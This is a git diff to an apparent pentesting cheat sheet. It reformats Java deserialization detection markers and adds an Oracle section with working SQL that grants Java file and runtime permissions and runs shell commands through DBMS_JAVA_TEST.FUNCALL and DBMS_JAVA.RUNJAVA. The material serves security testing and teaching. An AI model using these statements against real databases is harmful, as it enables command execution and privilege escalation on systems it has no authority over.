diff --git a/Insecure Deserialization/Java.md b/Insecure Deserialization/Java.md
index 7b45d3a..71404a6 100644
--- a/Insecure Deserialization/Java.md	
+++ b/Insecure Deserialization/Java.md	
@@ -2,10 +2,12 @@
 
 ## Detection
 
-- "AC ED 00 05" in Hex
-- "rO0" in Base64
+- `"AC ED 00 05"` in Hex
+  * `AC ED`: STREAM_MAGIC. Specifies that this is a serialization protocol.
+  * `00 05`: STREAM_VERSION. The serialization version.
+- `"rO0"` in Base64
 - Content-type = "application/x-java-serialized-object"
-- "H4sIAAAAAAAAAJ" in gzip(base64)
+- `"H4sIAAAAAAAAAJ"` in gzip(base64)
 
 ## Exploit
 
diff --git a/SQL Injection/HQL Injection.md b/SQL Injection/HQL Injection.md
index 97d3672..fbb618e 100644
--- a/SQL Injection/HQL Injection.md	
+++ b/SQL Injection/HQL Injection.md	
@@ -15,6 +15,8 @@
 * [Methods by DBMS](#methods-by-dbms)
 * [References](#references)
 
+:warning: Your input will always be between the percentage symbols: `%INJECT_HERE%`
+
 ## HQL Comments
 
 ```sql
@@ -134,7 +136,7 @@ public class Constants {
 
 Some usable constants in well-known Java libraries:
 
-```
+```ps1
 org.apache.batik.util.XMLConstants.XML_CHAR_APOS         [ Apache Batik ]
 com.ibm.icu.impl.PatternTokenizer.SINGLE_QUOTE           [ ICU4J ]
 jodd.util.StringPool.SINGLE_QUOTE                        [ Jodd ]
diff --git a/SQL Injection/OracleSQL Injection.md b/SQL Injection/OracleSQL Injection.md
index 7050267..36d0514 100644
--- a/SQL Injection/OracleSQL Injection.md	
+++ b/SQL Injection/OracleSQL Injection.md	
@@ -77,10 +77,37 @@ SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE '%PASS%';
 AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])                 comment:   -- /**/
 ```
 
-## Oracle SQL Command execution
+## Oracle SQL Command Execution
 
 * [ODAT (Oracle Database Attacking Tool)](https://github.com/quentinhardy/odat)
 
+### Oracle Java Execution
+
+* List Java privileges
+    ```sql
+    select * from dba_java_policy
+    select * from user_java_policy
+    ```
+* Grant privileges
+    ```sql
+    exec dbms_java.grant_permission('SCOTT', 'SYS:java.io.FilePermission','<<ALL FILES>>','execute');
+    exec dbms_java.grant_permission('SCOTT','SYS:java.lang.RuntimePermission', 'writeFileDescriptor', '');
+    exec dbms_java.grant_permission('SCOTT','SYS:java.lang.RuntimePermission', 'readFileDescriptor', '');
+    ```
+* Execute commands
+    * 10g R2, 11g R1 and R2: `DBMS_JAVA_TEST.FUNCALL()`
+    ```sql
+    SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','c:\\windows\\system32\\cmd.exe','/c', 'dir >c:\test.txt') FROM DUAL
+    SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','/bin/bash','-c','/bin/ls>/tmp/OUT2.LST') from dual
+    ```
+    * 11g R1 and R2: `DBMS_JAVA.RUNJAVA()`
+    ```sql
+    SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper /bin/bash -c /bin/ls>/tmp/OUT.LST') FROM DUAL
+    ```
+
+
+### Oracle Java Class
+
 ```sql
 /* create Java class */
 BEGIN
@@ -112,3 +139,5 @@ SELECT PwnUtilFunc('ping -c 4 localhost') FROM dual;
 
 * [NetSpi - SQL Wiki](https://sqlwiki.netspi.com/injectionTypes/errorBased/#oracle)
 * [ASDC12 - New and Improved Hacking Oracle From Web](https://owasp.org/www-pdf-archive/ASDC12-New_and_Improved_Hacking_Oracle_From_Web.pdf)
+* [Pentesting Oracle TNS Listener - HackTricks](https://book.hacktricks.xyz/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener)
+* [ODAT: Oracle Database Attacking Tool](https://github.com/quentinhardy/odat/wiki/privesc)
\ No newline at end of file